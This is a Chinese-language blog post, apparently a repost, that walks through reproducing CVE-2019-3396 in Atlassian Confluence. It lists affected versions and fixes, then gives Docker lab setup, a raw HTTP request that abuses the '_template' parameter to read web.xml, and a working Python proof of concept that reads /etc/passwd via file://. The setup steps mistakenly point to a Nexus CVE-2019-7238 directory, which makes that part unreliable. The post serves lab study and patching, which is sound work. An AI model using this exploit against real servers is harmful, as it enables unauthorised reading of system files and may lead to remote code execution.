zoukankan      html  css  js  c++  java
  • CVE-2019-3396:Confluence未授权模板注入_代码执行

    title: Confluence未授权模板注入/代码执行(CVE-2019-3396)
    tags: [poc,cve]

    简介

    Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。confluence 的默认端口是 8090

    影响范围

    6.6.12版本之前所有版本
    6.7.0-6.12.2版本
    6.13.3之前的所有6.13.x版本
    6.14.2之前的所有6.14.x版本

    漏洞成因

    使用_template参数覆盖Velocity渲染模板, 使用file:协议可以进行任意文件读取(不再受限于classpath)

    修复方法

    1、升级Confluence版本
    2、主动升级widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar

    环境搭建

        1.在centos 7 上安装docker和docker-compose
        (1).安装PIP
            curl -s https://bootstrap.pypa.io/get-pip.py | python3
        (2).安装docker
            curl -s https://get.docker.com/ | sh
        (3).启动docker服务
            service docker start
        (4).安装docker compose
            pip install docker-compose
    2.使用方法
        (1).下载漏洞环境项目
            git clone https://github.com/vulhub/vulhub.git
        (2).进入到nexus利用环境
            cd vulhub/nexus/CVE-2019-7238
        (3).编译环境
            docker-compose build
        (4).执行如下命令启动Nexus Repository Manager 3.14.0
            docker-compose build
    

    漏洞复现

    1、进入到CVE-2019-7238目录
    cd CVE-2019-7238
    2、配置环境,在浏览器打开http://192.168.1.152:8090 进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server 的测试证书(不要选择Data Center和Addons),这里提供已经申请好的license key:
    AAABQw0ODAoPeNp1kFFrwjAUhd/zKwJ72R4ibXVqhcI07aajtWLd2MNeYrntAm0qaSL675c2E7exQR6Sc8J3zz03j5LjZ11hb4wdd+aZ42Aa7rDnuD6ijVAsV2tWQ6CYKGstNX8oa8arQd7UKG9EMTAf+NH4UgPaaJl/sBZCpiDoEMSZEG+MYp6DaCE6Hbg8fzOnxLu/TIkSg/1zTAbyCHIVBovFZELodvlE0vloQ/zR29JmMEhGQSiQNkem920u+UHxRljFwI0tmMj/SdFz1rreg0yLlxZkGxDXqpliskMXrGrhsouJE6/CLFqT2B36U8cfjpF5BT+VVJZM8Jb1QU5aFCBKRCX0wu+W+mFf+N35AH3vNE2SaEtX8xhV1no12Tqch0K4bmlaLCoNZj9829WBbR937zMcHVml+4noerW1fAJcbqnMMCwCFE/fa4LjnfCqQ1Hy5OCWZ72GDUKkAhQKri7+MDexgSKxdR82iMniZTblfQ==X02g4
    3、然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。如果提示填写cluster node,路径填写/home/confluence即可:
    后续要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres
    4、发送如下数据包,即可读取文件web.xml

    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: localhost:8090
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
    Content-Type: application/json; charset=utf-8
    Content-Length: 176
    
    
    {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}
    

    6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。
    该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:

    POC

    #!/usr/bin/env python 
    # -*- coding:utf-8 -*-
    
    import requests
    from bs4 import BeautifulSoup as Bs4
    import json
    
    headers = {
        "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Connection": "close",
        "Referer": "http://192.168.1.152:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
        "Content-Type": "application/json; charset=utf-8"
    }
    def _poc(url):
        path = "/rest/tinymce/1/macro/preview"
        urls = url.strip() + path
        data = json.dumps({"contentId": "786458", "macro": {"name": "widget", "body": "",
                                              "params": {"url": "https://www.viddler.com/v/23464dc6", "width": "1000",
                                                         "height": "1000", "_template": "file:///etc/passwd"}}})
        response = requests.post(url = urls,data=data,headers=headers)
        soup = Bs4(response.text,"lxml").text
        print(soup)
    
    if __name__ == '__main__':
        url = "http://192.168.1.152:8090"
        _poc(url)
    
    
  • 相关阅读:
    数据类型之集合 set &运算关系
    python数据类型之字典类型-dict
    python数据类型之元组类型tuple
    python数据类型之列表类型-list
    python数据类型之字符串类型str
    python之if判断、while循环、for循环
    数据的类型、用户交互、格式化输出、基本运算符简介
    什么是操作系统,汇编语言的分类简介,以及python
    1 Kubernetes管理之master和Node
    python学习第三天 -----2019年4月23日
  • 原文地址:https://www.cnblogs.com/nul1/p/12462268.html
Copyright © 2011-2022 走看看